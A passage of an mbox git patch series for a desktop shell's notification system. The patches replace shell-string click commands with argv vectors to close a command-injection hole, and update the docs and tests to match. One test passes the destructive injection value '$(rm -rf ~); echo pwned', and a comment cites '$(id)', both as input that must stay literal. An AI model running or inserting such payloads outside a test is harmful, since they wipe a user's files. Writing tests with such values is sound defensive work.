From 07443f3970c8ebb5c7fb8fdb39d1123826addf0c Mon Sep 17 00:00:00 2001 From: Ryan Hughes Date: Sun, 23 Aug 2026 12:00:03 -0400 Subject: [PATCH 1/9] Run notification click actions as argv, not shell strings The click action of a notification was a free-form shell string run through `bash -lc`, safe only when every sender shell-quoted every interpolated value perfectly. One slip is RCE: a hostile yt-dlp video title forged an output record and injected an mpv option into the click command (mehmetince.net RCE, partially addressed by #7847). Add a parameterized transport: omarchy-notification-send gains --exec-arg (repeatable), encoding a JSON argv into the omarchy-exec-argv hint. The shell runs it with Quickshell.execDetached(argv) and no shell, so data an attacker controls is only ever one argument and can never be reparsed as a command. The shell fails closed on a malformed argv hint. The legacy free-form --exec string is retained but honored only from Omarchy's own omarchy-action toasts, and deprecated. Migrate all in-repo callers (screenshot, screen recording, taildrop receive, migrate-notify, crash-watch, yt-dlp host) to --exec-arg. Update docs and tests. --- bin/omarchy-capture-screenrecording | 2 +- bin/omarchy-capture-screenshot | 2 +- bin/omarchy-chromium-ytdlp-host | 10 ++-- bin/omarchy-crash-watch | 12 ++--- bin/omarchy-migrate-notify | 2 +- bin/omarchy-notification-send | 31 ++++++++++-- bin/omarchy-tailscale-receive | 2 +- docs/notifications.md | 31 ++++++++++-- shell/Commons/Util.qml | 8 ++++ .../notifications/NotificationLogic.js | 47 ++++++++++++++++++- shell/plugins/notifications/Service.qml | 21 +++++++-- test/shell.d/chromium-ytdlp-test.sh | 22 ++++----- test/shell.d/migrate-notify-test.sh | 5 +- test/shell.d/notification-send-test.sh | 28 +++++++++++ test/shell.d/notifications-test.sh | 32 +++++++++++++ test/shell.d/tailscale-receive-test.sh | 9 ++-- 16 files changed, 219 insertions(+), 45 deletions(-) diff --git a/bin/omarchy-capture-screenrecording b/bin/omarchy-capture-screenrecording index 7666e1e6..314363c0 100755 --- a/bin/omarchy-capture-screenrecording +++ b/bin/omarchy-capture-screenrecording @@ -228,7 +228,7 @@ stop_screenrecording() { omarchy-notification-send "Screen recording saved" "Open with Super + Alt + , (or click this)" \ -t 10000 --image "${preview:-$filename}" \ - --exec "$(printf 'mpv %q' "$filename")" + --exec-arg mpv --exec-arg -- --exec-arg "$filename" # The shell loads the thumbnail into memory when the toast appears and never # re-reads the file, so the preview only has to outlive that load -- not the diff --git a/bin/omarchy-capture-screenshot b/bin/omarchy-capture-screenshot index 8b2ac7d0..9dfd56a2 100755 --- a/bin/omarchy-capture-screenshot +++ b/bin/omarchy-capture-screenshot @@ -70,7 +70,7 @@ case "$PROCESSING" in # notification outage must not report the capture itself as failed. omarchy-notification-send "Screenshot saved to clipboard and file" "Edit with Super + Alt + , (or click this)" \ --image "$FILEPATH" \ - --exec "$(printf '%q %q' "$SCREENSHOT_EDITOR" "$FILEPATH")" || true + --exec-arg "$SCREENSHOT_EDITOR" --exec-arg "$FILEPATH" || true ;; copy) grim -g "$SELECTION" - | wl-copy --type image/png diff --git a/bin/omarchy-chromium-ytdlp-host b/bin/omarchy-chromium-ytdlp-host index ce50635a..fab6ce01 100755 --- a/bin/omarchy-chromium-ytdlp-host +++ b/bin/omarchy-chromium-ytdlp-host @@ -70,10 +70,10 @@ title_from_file() { fi } -# `--` keeps a path that starts with `-` from being parsed as an mpv option. -playback_command() { - printf 'mpv -- %q' "$1" -} +# The click action is passed to the shell as an argv vector (--exec-arg), so the +# path is one literal argument and never reaches a shell. `--` still guards mpv +# itself against parsing a leading-dash filename as an option. +playback_exec_args=(--exec-arg mpv --exec-arg -- --exec-arg) # Drive the Quickshell OSD — a single overlay that updates in place (like the # volume/brightness bar), so download progress never stacks like notifications. @@ -153,7 +153,7 @@ download_url() { # toast would exit before the thumbnail cleanup below is ever scheduled. omarchy-notification-send -g 󰄬 "Download complete" "$title" \ -t 10000 --image "${preview:-$filepath}" \ - --exec "$(playback_command "$filepath")" || true + "${playback_exec_args[@]}" "$filepath" || true # The shell loads the thumbnail into memory when the toast appears and never # re-reads the file, so the preview only has to outlive that load, not the diff --git a/bin/omarchy-crash-watch b/bin/omarchy-crash-watch index f58247a0..d3391af6 100755 --- a/bin/omarchy-crash-watch +++ b/bin/omarchy-crash-watch @@ -24,9 +24,7 @@ readonly ignore_pattern=${OMARCHY_CRASH_IGNORE:-} declare -A last_notified announce() { - local comm=$1 pid=$2 exe=$3 signal=$4 exec_command - - exec_command=$(printf 'omarchy-agent-crash %q %q %q %q' "$pid" "$comm" "$exe" "$signal") + local comm=$1 pid=$2 exe=$3 signal=$4 # The shell owns org.freedesktop.Notifications, so a shell crash takes the # notification server down with it and a toast sent into that gap is lost. @@ -34,13 +32,15 @@ announce() { # likely to be delivered is the one most worth reporting. omarchy-notification-wait || return 1 - # --exec rather than a libnotify action: the shell runs clicks from its own - # omarchy-exec hint and never emits ActionInvoked. Keeps the default + # --exec-arg rather than a libnotify action: the shell runs clicks from its own + # omarchy-exec-argv hint and never emits ActionInvoked. Keeps the default # "omarchy-action" app name too, the only one shouldBypassDnd() lets through. + # The argv form carries the crash details as literal arguments, so a hostile + # process name can't be reparsed as a command when the toast is clicked. omarchy-notification-send \ --urgency critical \ --glyph "$CRASH_GLYPH" \ - --exec "$exec_command" \ + --exec-arg omarchy-agent-crash --exec-arg "$pid" --exec-arg "$comm" --exec-arg "$exe" --exec-arg "$signal" \ "Process crashed: $comm" \ "Click to diagnose with AI" } diff --git a/bin/omarchy-migrate-notify b/bin/omarchy-migrate-notify index 0ee2e0b0..99215979 100755 --- a/bin/omarchy-migrate-notify +++ b/bin/omarchy-migrate-notify @@ -41,7 +41,7 @@ fi # The shell keeps the click command with the toast, so this oneshot can hand the # invitation over and exit instead of staying activated until it is answered. omarchy-notification-send -u critical -g  "Pending Omarchy Migrations" "$message" \ - --exec "omarchy-launch-floating-terminal-with-presentation omarchy-migrate" && exit 0 + --exec-arg omarchy-launch-floating-terminal-with-presentation --exec-arg omarchy-migrate && exit 0 # Reached when the notification could not be handed off, so fall back to telling # the user in the terminal. diff --git a/bin/omarchy-notification-send b/bin/omarchy-notification-send index 8a5851b8..84182472 100755 --- a/bin/omarchy-notification-send +++ b/bin/omarchy-notification-send @@ -1,7 +1,7 @@ #!/bin/bash # omarchy:summary=Send an Omarchy desktop notification -# omarchy:args=[--exec ] [--app-name ] [-g ] [-u ] [--image ] [description] [notify-send options] +# omarchy:args=[--exec-arg ]... [--exec ] [--app-name ] [-g ] [-u ] [--image ] [description] [notify-send options] # omarchy:examples=omarchy notification send "Reminder" "5 minutes are up" -g 󰢌 set -euo pipefail @@ -13,6 +13,7 @@ urgency="low" app_name="omarchy-action" image= exec_command= +exec_args=() args=() parsed_option_args=0 @@ -63,6 +64,19 @@ parse_omarchy_option() { parsed_option_args=2 return 0 ;; + --exec-arg) + if (($# < 2)); then + echo "Missing value for $1" >&2 + exit 1 + fi + # Each --exec-arg contributes one literal argument to the click command. + # The shell runs the resulting argv vector directly (no shell), so callers + # pass untrusted data as its own --exec-arg rather than quoting it into a + # command string. Value is taken verbatim, even when it starts with "-". + exec_args+=("$2") + parsed_option_args=2 + return 0 + ;; esac return 1 @@ -77,7 +91,7 @@ while (($# > 0)); do done if (($# < 1)); then - echo "Usage: omarchy-notification-send [--exec ] [--app-name ] [-g ] [-u ] [--image ] [description] [notify-send options]" + echo "Usage: omarchy-notification-send [--exec-arg ]... [--exec ] [--app-name ] [-g ] [-u ] [--image ] [description] [notify-send options]" exit 1 fi @@ -112,7 +126,18 @@ fi # The shell runs the click command itself, from a copy it keeps alongside the # on-screen popup. A libnotify action would instead keep this process blocked # until the click, and die unanswered whenever the shell restarts underneath it. -if [[ -n $exec_command ]]; then +# +# --exec-arg builds an argv vector the shell runs directly, so a value carrying +# untrusted data is only ever one argument and never reaches a shell. It wins +# over the legacy free-form --exec string, which is run through `bash -lc` and +# is only safe when the caller quoted every interpolated value itself. +if ((${#exec_args[@]} > 0)); then + # NUL-delimit the args into jq so every byte survives as data — jq's own + # --args would eat a bare "--", and a title with a newline must stay one + # element, not split the vector. + exec_argv_json=$(printf '%s\0' "${exec_args[@]}" | jq -Rsc 'split("\u0000")[:-1]') + args+=("--hint=string:omarchy-exec-argv:$exec_argv_json") +elif [[ -n $exec_command ]]; then args+=("--hint=string:omarchy-exec:$exec_command") fi diff --git a/bin/omarchy-tailscale-receive b/bin/omarchy-tailscale-receive index 6da2b125..a2ff3809 100755 --- a/bin/omarchy-tailscale-receive +++ b/bin/omarchy-tailscale-receive @@ -72,7 +72,7 @@ announce() { # Announcing is best-effort: the file is already delivered, and under `set -e` # a notification outage would otherwise kill the long-running receiver. - omarchy-notification-send "${args[@]}" --exec "$(printf 'xdg-open %q' "$path")" || true + omarchy-notification-send "${args[@]}" --exec-arg xdg-open --exec-arg "$path" || true } deliver() { diff --git a/docs/notifications.md b/docs/notifications.md index c2eba6d9..9e181aca 100644 --- a/docs/notifications.md +++ b/docs/notifications.md @@ -69,7 +69,8 @@ notify-send arguments and passes any unrecognized options through: | Flag | Becomes | Meaning | |---|---|---| | `-g` / `--glyph` | `--hint=string:omarchy-glyph:` | Nerd Font glyph for the icon slot when no image icon resolves | -| `--exec` | `--hint=string:omarchy-exec:` | shell command the card runs when clicked | +| `--exec-arg` (repeatable) | `--hint=string:omarchy-exec-argv:` | one literal argument of the click command; the collected args become a JSON argv the shell runs without a shell | +| `--exec` | `--hint=string:omarchy-exec:` | legacy free-form shell command the card runs when clicked (deprecated — see below) | | `--image` | `--hint=string:image-path:` | the standard freedesktop image hint | | `--app-name` | `-a` | defaults to `omarchy-action` | | `-u` / `--urgency` | `-u` | defaults to `low` | @@ -78,9 +79,9 @@ The defaults are the point: an unadorned `omarchy-notification-send "Done"` is a low-urgency user-action toast that pops through DND and is treated as ephemeral noise when silenced. -`--exec` is deliberately not a libnotify action. An action keeps the sender -blocked waiting for `ActionInvoked`, and dies unanswered whenever the shell -restarts underneath it — the installer toasts restart the shell as their +The click command is deliberately not a libnotify action. An action keeps the +sender blocked waiting for `ActionInvoked`, and dies unanswered whenever the +shell restarts underneath it — the installer toasts restart the shell as their first act. Carrying the command as a hint means the shell executes the click itself (detached, so the command outlives the shell process) from the copy it keeps with the popup, which the persistence files preserve: a restored toast @@ -90,6 +91,25 @@ immediately. For third-party clients the click falls back to the libnotify window by class via `omarchy-hyprland-focus-app` — chat apps rarely register an action and just expect click-to-jump. +### Click commands must be argv, not shell strings + +Prefer `--exec-arg` for every click command. Each `--exec-arg` contributes one +literal argument; the shell runs the resulting vector with +`Quickshell.execDetached(argv)` and **no shell**, so a value carrying data an +attacker controls — a downloaded video's title, a received filename, a crashed +process's name — is only ever a single argument and can never be reparsed as a +command. This is the parameterized form: pass untrusted data as its own +`--exec-arg` rather than quoting it into a string. + +`--exec` is the legacy free-form variant, run through `bash -lc`. It is safe +only when the caller shell-quoted every interpolated value perfectly — the same +trap as string-concatenated SQL, and the exact shape of the yt-dlp title RCE +that motivated the argv form. It is retained for compatibility and honored only +from toasts whose `app_name` is Omarchy's own `omarchy-action`; new senders must +use `--exec-arg`. The shell fails closed on a malformed argv hint (it must be a +JSON array of strings whose program is present and not a leading-dash option) +rather than letting it fall through to a shell. + ## Helper commands - `omarchy-notification-wait [timeout]` — polls until the shell answers IPC @@ -114,7 +134,8 @@ Everything goes through the same sender contract, so the pieces are small: `battery-low` hook. - **Crash capture** — `omarchy-crash-watch` follows the systemd-coredump journal stream and announces each crashed program (deduped per minute) as a - critical toast whose `--exec` runs `omarchy-agent-crash`. It waits for the + critical toast whose click runs `omarchy-agent-crash` (via `--exec-arg`, so a + hostile process name stays a literal argument). It waits for the server first: a shell crash takes the notification server down with it, and that crash is the one most worth reporting. - **Pending migrations** — `omarchy-migrate-notify` (from its user service diff --git a/shell/Commons/Util.qml b/shell/Commons/Util.qml index 3d5a1f8e..64dac606 100644 --- a/shell/Commons/Util.qml +++ b/shell/Commons/Util.qml @@ -54,6 +54,14 @@ QtObject { Quickshell.execDetached(["bash", "-lc", command]) } + // Run an argv vector directly, without a shell. Nothing in the array is + // reparsed, so an argument carrying attacker-controlled data (a filename, a + // title) can never turn into a command. Prefer this over execDetached for any + // command assembled from untrusted input. + function execArgv(argv) { + Quickshell.execDetached(argv) + } + function isPlainObject(value) { return value !== null && typeof value === "object" && !Array.isArray(value) } diff --git a/shell/plugins/notifications/NotificationLogic.js b/shell/plugins/notifications/NotificationLogic.js index 1d2ebd43..1229a37b 100644 --- a/shell/plugins/notifications/NotificationLogic.js +++ b/shell/plugins/notifications/NotificationLogic.js @@ -63,10 +63,51 @@ function glyphFromHints(hints) { // after a shell restart clicks through exactly like a live one. A libnotify // action can't: its sender is still waiting on an id from a server generation // that no longer exists. +// +// This is a free-form shell string run through `bash -lc`, so it is safe only +// when every value interpolated into it was shell-quoted perfectly. It is kept +// for compatibility and honored only from Omarchy's own trusted toasts (see +// Service.invokePopupDefault); new senders use --exec-arg / the argv form +// below, which never reaches a shell. function execFromHints(hints) { return stringHint(hints, "omarchy-exec") } +// The click action as an argv vector, sent by omarchy-notification-send +// --exec-arg and carried as a JSON array string in the omarchy-exec-argv hint. +// The shell runs it with Quickshell.execDetached (no shell), so a value that an +// attacker controls — a video title, a filename, a URL — is only ever one +// argument and can never be reparsed as a command. This is the parameterized +// form: the "prepared statement" to execFromHints's string concatenation. +function execArgvFromHints(hints) { + return stringHint(hints, "omarchy-exec-argv") +} + +// Validate a persisted omarchy-exec-argv value into an argv the shell may run, +// or null for anything that is not one. A malformed or hostile hint must fail +// closed here rather than fall through to a shell: we require a JSON array of +// strings, non-empty, whose first element (the program) is present and does not +// start with "-" (which would let a forged record smuggle in a leading-dash +// option in the program slot). +function parseExecArgv(value) { + var text = String(value || "") + if (!text) return null + + var parsed + try { + parsed = JSON.parse(text) + } catch (e) { + return null + } + + if (!Array.isArray(parsed) || parsed.length === 0) return null + for (var i = 0; i < parsed.length; i++) { + if (typeof parsed[i] !== "string") return null + } + if (!parsed[0] || parsed[0].charAt(0) === "-") return null + return parsed +} + function shouldRenderCompactGlyph(glyph, iconSource, singleLineToast) { return String(glyph || "").length > 0 && String(iconSource || "").length === 0 && !!singleLineToast } @@ -86,6 +127,7 @@ function snapshotOf(notification, timestamp) { image: n.image || "", glyph: glyphFromHints(n.hints), exec: execFromHints(n.hints), + execArgv: execArgvFromHints(n.hints), urgency: n.urgency, expireTimeout: expireTimeout, timestamp: timestamp === undefined ? Date.now() : timestamp @@ -94,7 +136,7 @@ function snapshotOf(notification, timestamp) { // Everything the popup card draws, and therefore everything an in-place // update has to write through to the row and its file. -var POPUP_ROLES = ["app", "appIcon", "summary", "body", "image", "glyph", "exec", "urgency", "expireTimeout"] +var POPUP_ROLES = ["app", "appIcon", "summary", "body", "image", "glyph", "exec", "execArgv", "urgency", "expireTimeout"] function popupRoles() { return POPUP_ROLES @@ -137,6 +179,7 @@ function historyEntry(value, normalUrgency) { image: e.image || "", glyph: e.glyph || "", exec: e.exec || "", + execArgv: e.execArgv || "", urgency: typeof e.urgency === "number" ? e.urgency : normalUrgency, expireTimeout: 0, timestamp: e.timestamp || 0 @@ -347,6 +390,8 @@ if (typeof module !== "undefined") { stringHint: stringHint, glyphFromHints: glyphFromHints, execFromHints: execFromHints, + execArgvFromHints: execArgvFromHints, + parseExecArgv: parseExecArgv, shouldRenderCompactGlyph: shouldRenderCompactGlyph, snapshotOf: snapshotOf, popupRoles: popupRoles, diff --git a/shell/plugins/notifications/Service.qml b/shell/plugins/notifications/Service.qml index 88ad0544..5df3e96c 100644 --- a/shell/plugins/notifications/Service.qml +++ b/shell/plugins/notifications/Service.qml @@ -360,10 +360,25 @@ Item { function invokePopupDefault(index) { if (index < 0 || index >= popupModel.count) return var entry = popupModel.get(index) + + // Preferred path: an argv vector run without a shell, so data an attacker + // controls (a video title, a filename) is only ever an argument and can + // never be reparsed as a command. Detached so it outlives the shell, which + // the installer toasts depend on: they restart the shell as their first act. + var argv = NotificationLogic.parseExecArgv(entry ? entry.execArgv : "") + if (argv) { + Util.execArgv(argv) + dismissPopup(index) + return + } + + // Legacy free-form shell exec (deprecated). It runs through `bash -lc`, so + // it is only as safe as the sender's quoting — honored solely from + // Omarchy's own trusted toasts. app_name is spoofable, so this is a + // compatibility courtesy, not a security boundary; new callers use the argv + // form above. var command = entry ? String(entry.exec || "") : "" - if (command) { - // Detached so the launched command outlives the shell process, which the - // installer toasts depend on: they restart the shell as their first act. + if (command && String(entry.app || "") === "omarchy-action") { Util.execDetached(command) dismissPopup(index) return diff --git a/test/shell.d/chromium-ytdlp-test.sh b/test/shell.d/chromium-ytdlp-test.sh index 4989df76..7b4ae512 100755 --- a/test/shell.d/chromium-ytdlp-test.sh +++ b/test/shell.d/chromium-ytdlp-test.sh @@ -131,15 +131,13 @@ dash_title=$(host_fn title_from_file "$download_dir/--include.mp4") [[ $dash_title == "Video" ]] || fail "yt-dlp native host does not pass a leading-dash title to notify-send" "$dash_title" pass "yt-dlp native host does not pass a leading-dash title to notify-send" -cmd=$(host_fn playback_command --include=not-a-file) -[[ $cmd == "mpv -- --include=not-a-file" ]] || - fail "yt-dlp native host runs mpv with -- before the path" "$cmd" -pass "yt-dlp native host runs mpv with -- before the path" - -spaced_cmd=$(host_fn playback_command "$download_dir/a b.mp4") -[[ $spaced_cmd == "mpv -- $download_dir/a\\ b.mp4" ]] || - fail "yt-dlp native host shell-quotes the mpv path" "$spaced_cmd" -pass "yt-dlp native host shell-quotes the mpv path" +# The click action is an argv vector the shell runs without a shell, so the path +# is a literal --exec-arg rather than a value quoted into a command string. The +# prefix is static; `--` keeps mpv from parsing a leading-dash filename. +playback_argv=$(host_fn eval 'printf "%s\n" "${playback_exec_args[@]}"') +[[ $playback_argv == $'--exec-arg\nmpv\n--exec-arg\n--\n--exec-arg' ]] || + fail "yt-dlp native host runs mpv with -- before the path as argv" "$playback_argv" +pass "yt-dlp native host runs mpv with -- before the path as argv" parse_script="$TMPDIR/parse-ytdlp-lines.sh" cat >"$parse_script" <<'EOF' @@ -234,9 +232,9 @@ grep -qF -- $'OMARCHY_FILE\t%(title)s' "$ytdlp_argv" && fail "yt-dlp native host never prints the title into the file record" "$(cat "$ytdlp_argv")" pass "yt-dlp native host never prints the title into the file record" -grep -q -- "--exec mpv -- " "$notify_argv" || - fail "yt-dlp native host builds the click command as mpv -- " "$(cat "$notify_argv")" -pass "yt-dlp native host builds the click command as mpv -- " +grep -q -- "--exec-arg mpv --exec-arg -- --exec-arg " "$notify_argv" || + fail "yt-dlp native host builds the click command as an mpv -- argv" "$(cat "$notify_argv")" +pass "yt-dlp native host builds the click command as an mpv -- argv" grep -qF -- "Download complete My Great Clip" "$notify_argv" || fail "yt-dlp native host toasts the page title, not the sanitised filename" "$(cat "$notify_argv")" diff --git a/test/shell.d/migrate-notify-test.sh b/test/shell.d/migrate-notify-test.sh index 8114e6d9..10e46959 100644 --- a/test/shell.d/migrate-notify-test.sh +++ b/test/shell.d/migrate-notify-test.sh @@ -158,8 +158,9 @@ exec {foreign_lock_fd}>&- rm -f "$test_tmp/notify-args" run_notify 1 >/dev/null 2>&1 notify_args_written || fail "migration notifier sends the notification before exiting" -grep -Fx -- '--exec' "$test_tmp/notify-args" >/dev/null || +grep -Fx -- '--exec-arg' "$test_tmp/notify-args" >/dev/null || fail "migration notifier attaches the click command to the toast" -grep -Fx 'omarchy-launch-floating-terminal-with-presentation omarchy-migrate' "$test_tmp/notify-args" >/dev/null || +grep -Fx 'omarchy-launch-floating-terminal-with-presentation' "$test_tmp/notify-args" >/dev/null && + grep -Fx 'omarchy-migrate' "$test_tmp/notify-args" >/dev/null || fail "migration notifier points the click command at omarchy-migrate" pass "migration notifier lets the shell own the click instead of waiting for it" diff --git a/test/shell.d/notification-send-test.sh b/test/shell.d/notification-send-test.sh index e754bb6e..d93682a4 100644 --- a/test/shell.d/notification-send-test.sh +++ b/test/shell.d/notification-send-test.sh @@ -49,3 +49,31 @@ if OMARCHY_TEST_NOTIFY_ARGS="$args_file" PATH="$tmpdir:$ROOT/bin:$PATH" \ fail "notification wrapper rejects --exec without a command" fi pass "notification wrapper rejects --exec without a command" + +# --exec-arg builds an argv vector encoded as a JSON array, so shell +# metacharacters in a value are carried as data, never as a command. The shell +# runs this argv directly (no shell), which is what keeps a hostile title or +# filename from becoming code when the toast is clicked. +: >"$args_file" +OMARCHY_TEST_NOTIFY_ARGS="$args_file" PATH="$tmpdir:$ROOT/bin:$PATH" \ + omarchy-notification-send --exec-arg mpv --exec-arg -- --exec-arg '$(rm -rf ~); echo pwned' \ + "Download complete" >/dev/null + +argv_hint=$(grep -- "--hint=string:omarchy-exec-argv:" "$args_file") +argv_json=${argv_hint#--hint=string:omarchy-exec-argv:} +[[ $(jq -r '.[0]' <<<"$argv_json") == "mpv" ]] || fail "notification wrapper puts the program first in the exec argv" +[[ $(jq -r '.[1]' <<<"$argv_json") == "--" ]] || fail "notification wrapper preserves a -- separator in the exec argv" +[[ $(jq -r '.[2]' <<<"$argv_json") == '$(rm -rf ~); echo pwned' ]] || + fail "notification wrapper carries shell metacharacters as literal argv data" "$argv_json" +grep -q "omarchy-exec:" "$args_file" && fail "notification wrapper emits no legacy exec string when --exec-arg is used" +pass "notification wrapper encodes --exec-arg as a literal JSON argv vector" + +# The argv form is the safe one, so it wins when a caller supplies both. +: >"$args_file" +OMARCHY_TEST_NOTIFY_ARGS="$args_file" PATH="$tmpdir:$ROOT/bin:$PATH" \ + omarchy-notification-send --exec 'legacy string' --exec-arg xdg-open --exec-arg /tmp/file \ + "Headline" >/dev/null + +grep -q -- "--hint=string:omarchy-exec-argv:" "$args_file" || fail "notification wrapper emits the argv hint when both exec forms are given" +grep -q -- "--hint=string:omarchy-exec:" "$args_file" && fail "notification wrapper drops the legacy exec string in favor of argv" +pass "notification wrapper prefers the argv exec form over the legacy string" diff --git a/test/shell.d/notifications-test.sh b/test/shell.d/notifications-test.sh index 49a4bcd2..32df818e 100644 --- a/test/shell.d/notifications-test.sh +++ b/test/shell.d/notifications-test.sh @@ -49,6 +49,38 @@ assert(!notifications.shouldBypassDnd({ appName: 'Slack', urgency: 2 }, 2), 'cri assert(!notifications.shouldBypassDnd({ appName: 'omarchy-menu-keybindings', urgency: 1 }, 2), 'omarchy command app names do not bypass DND') assert(!notifications.isEphemeralApp('omarchy-menu-keybindings'), 'notifications treat omarchy command app names as normal apps') +// The click action's argv form: parsed from the persisted omarchy-exec-argv +// JSON only when it is a non-empty array of strings whose program is present +// and not a leading-dash option. Everything else fails closed so a malformed or +// hostile hint can never fall through to a shell. +assertDeepEqual( + notifications.parseExecArgv('["mpv","--","/home/me/a b.mp4"]'), + ['mpv', '--', '/home/me/a b.mp4'], + 'notifications parse a valid exec argv vector' +) +assertEqual(notifications.parseExecArgv(''), null, 'notifications reject an empty exec argv hint') +assertEqual(notifications.parseExecArgv('not json'), null, 'notifications reject a non-JSON exec argv hint') +assertEqual(notifications.parseExecArgv('"mpv"'), null, 'notifications reject an exec argv hint that is not an array') +assertEqual(notifications.parseExecArgv('[]'), null, 'notifications reject an empty exec argv array') +assertEqual(notifications.parseExecArgv('["mpv",5]'), null, 'notifications reject a non-string element in the exec argv') +assertEqual(notifications.parseExecArgv('["--include=x","y"]'), null, 'notifications reject a leading-dash program in the exec argv') +assertEqual(notifications.parseExecArgv('["",""]'), null, 'notifications reject an empty program in the exec argv') + +// The argv vector rides on the snapshot as the raw JSON string, so the model's +// value comparison stays a plain string compare and the file round-trip is +// lossless. +const execSnapshot = notifications.snapshotOf({ + id: 3, + appName: 'omarchy-action', + summary: 'Download complete', + hints: { 'omarchy-exec-argv': '["mpv","--","/tmp/clip.mp4"]' } +}, 1) +assertEqual( + execSnapshot.execArgv, + '["mpv","--","/tmp/clip.mp4"]', + 'notifications carry the exec argv hint onto the snapshot' +) + assertDeepEqual( notifications.popupPlacement('top', 32, 6), { diff --git a/test/shell.d/tailscale-receive-test.sh b/test/shell.d/tailscale-receive-test.sh index a3d45976..97557186 100644 --- a/test/shell.d/tailscale-receive-test.sh +++ b/test/shell.d/tailscale-receive-test.sh @@ -62,11 +62,12 @@ pass "taildrop receive announces other files with a glyph" # The shell keeps the click command with the toast, so receiving does not have # to sit blocked on an answer -- and the toast still opens the file after a shell -# restart. Names with spaces have to arrive quoted for the shell to run them. -grep -qF -- "--exec xdg-open $downloads/photo.png" <<<"$notifications" || +# restart. The path rides as its own --exec-arg, so the shell runs it as literal +# data with no quoting for a name with spaces to get wrong. +grep -qF -- "--exec-arg xdg-open --exec-arg $downloads/photo.png" <<<"$notifications" || fail "taildrop receive attaches the open command to the notification" "$notifications" -grep -qF -- "--exec xdg-open $(printf %q "$downloads/notes with space.pdf")" <<<"$notifications" || - fail "taildrop receive quotes spaced names in the open command" "$notifications" +grep -qF -- "--exec-arg xdg-open --exec-arg $downloads/notes with space.pdf" <<<"$notifications" || + fail "taildrop receive carries spaced names as a literal open argument" "$notifications" pass "taildrop receive lets a click open the received file" grep -q "unrelated.txt" <<<"$notifications" && From d2fd2e11c630f746126fcb0670c483db200b9ad5 Mon Sep 17 00:00:00 2001 From: Ryan Hughes Date: Sun, 23 Aug 2026 12:25:48 -0400 Subject: [PATCH 2/9] Run argv click actions through a login shell as positional params MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Quickshell.execDetached(argv) ran the click target with only the shell process's stripped environment, so GUI actions like the screenshot editor (tensaku-edit) — resolved on the login-shell PATH the old `bash -lc` string exec provided — stopped launching on click. Run the argv through `bash -lc 'exec "$@"'` instead: the script text is a constant and the arguments are passed as positional parameters, which bash expands without re-tokenizing or re-evaluating, so injection safety is intact while PATH and session env match the old behavior exactly. --- docs/notifications.md | 16 ++++++++++------ shell/Commons/Util.qml | 15 ++++++++++----- shell/plugins/notifications/NotificationLogic.js | 3 ++- shell/plugins/notifications/Service.qml | 9 +++++---- 4 files changed, 27 insertions(+), 16 deletions(-) diff --git a/docs/notifications.md b/docs/notifications.md index 9e181aca..e4b7da26 100644 --- a/docs/notifications.md +++ b/docs/notifications.md @@ -94,12 +94,16 @@ an action and just expect click-to-jump. ### Click commands must be argv, not shell strings Prefer `--exec-arg` for every click command. Each `--exec-arg` contributes one -literal argument; the shell runs the resulting vector with -`Quickshell.execDetached(argv)` and **no shell**, so a value carrying data an -attacker controls — a downloaded video's title, a received filename, a crashed -process's name — is only ever a single argument and can never be reparsed as a -command. This is the parameterized form: pass untrusted data as its own -`--exec-arg` rather than quoting it into a string. +literal argument; the shell runs the resulting vector through +`Util.execArgv`, which invokes `bash -lc 'exec "$@"'` with the arguments as +**positional parameters** — never interpolated into the script text. bash +expands `"$@"` without re-tokenizing or re-evaluating it, so a value carrying +data an attacker controls — a downloaded video's title, a received filename, a +crashed process's name — is only ever a single argument and can never be +reparsed as a command. The login shell keeps the PATH and session environment +that GUI click targets (the screenshot editor, mpv, xdg-open) expect. This is +the parameterized form: pass untrusted data as its own `--exec-arg` rather than +quoting it into a string. `--exec` is the legacy free-form variant, run through `bash -lc`. It is safe only when the caller shell-quoted every interpolated value perfectly — the same diff --git a/shell/Commons/Util.qml b/shell/Commons/Util.qml index 64dac606..e3553ae8 100644 --- a/shell/Commons/Util.qml +++ b/shell/Commons/Util.qml @@ -54,12 +54,17 @@ QtObject { Quickshell.execDetached(["bash", "-lc", command]) } - // Run an argv vector directly, without a shell. Nothing in the array is - // reparsed, so an argument carrying attacker-controlled data (a filename, a - // title) can never turn into a command. Prefer this over execDetached for any - // command assembled from untrusted input. + // Run an argv vector safely: the script text is the constant `exec "$@"`, so + // the arguments only ever land in bash's positional parameters, which it + // expands without re-tokenizing or re-evaluating — a value carrying + // attacker-controlled data ($(id), a filename, a title) stays one literal + // argument and can never turn into a command. The login shell (-l) is what + // makes this a drop-in for execDetached: click actions launch GUI apps + // (tensaku, mpv, xdg-open) that need the same PATH and session environment the + // login shell set up. Prefer this over execDetached for any command assembled + // from untrusted input. function execArgv(argv) { - Quickshell.execDetached(argv) + Quickshell.execDetached(["bash", "-lc", 'exec "$@"', "bash"].concat(argv)) } function isPlainObject(value) { diff --git a/shell/plugins/notifications/NotificationLogic.js b/shell/plugins/notifications/NotificationLogic.js index 1229a37b..727940cb 100644 --- a/shell/plugins/notifications/NotificationLogic.js +++ b/shell/plugins/notifications/NotificationLogic.js @@ -75,7 +75,8 @@ function execFromHints(hints) { // The click action as an argv vector, sent by omarchy-notification-send // --exec-arg and carried as a JSON array string in the omarchy-exec-argv hint. -// The shell runs it with Quickshell.execDetached (no shell), so a value that an +// The shell runs it via Util.execArgv, which passes the arguments as bash +// positional parameters rather than interpolating them, so a value that an // attacker controls — a video title, a filename, a URL — is only ever one // argument and can never be reparsed as a command. This is the parameterized // form: the "prepared statement" to execFromHints's string concatenation. diff --git a/shell/plugins/notifications/Service.qml b/shell/plugins/notifications/Service.qml index 5df3e96c..794c4d9c 100644 --- a/shell/plugins/notifications/Service.qml +++ b/shell/plugins/notifications/Service.qml @@ -361,10 +361,11 @@ Item { if (index < 0 || index >= popupModel.count) return var entry = popupModel.get(index) - // Preferred path: an argv vector run without a shell, so data an attacker - // controls (a video title, a filename) is only ever an argument and can - // never be reparsed as a command. Detached so it outlives the shell, which - // the installer toasts depend on: they restart the shell as their first act. + // Preferred path: an argv vector whose arguments are passed as bash + // positional parameters (never interpolated into a command), so data an + // attacker controls (a video title, a filename) is only ever an argument and + // can never be reparsed as a command. Detached so it outlives the shell, + // which the installer toasts depend on: they restart it as their first act. var argv = NotificationLogic.parseExecArgv(entry ? entry.execArgv : "") if (argv) { Util.execArgv(argv) From eb988b42e678772d26113a5b9e5d08279b74b179 Mon Sep 17 00:00:00 2001 From: Ryan Hughes Date: Sun, 23 Aug 2026 13:35:02 -0400 Subject: 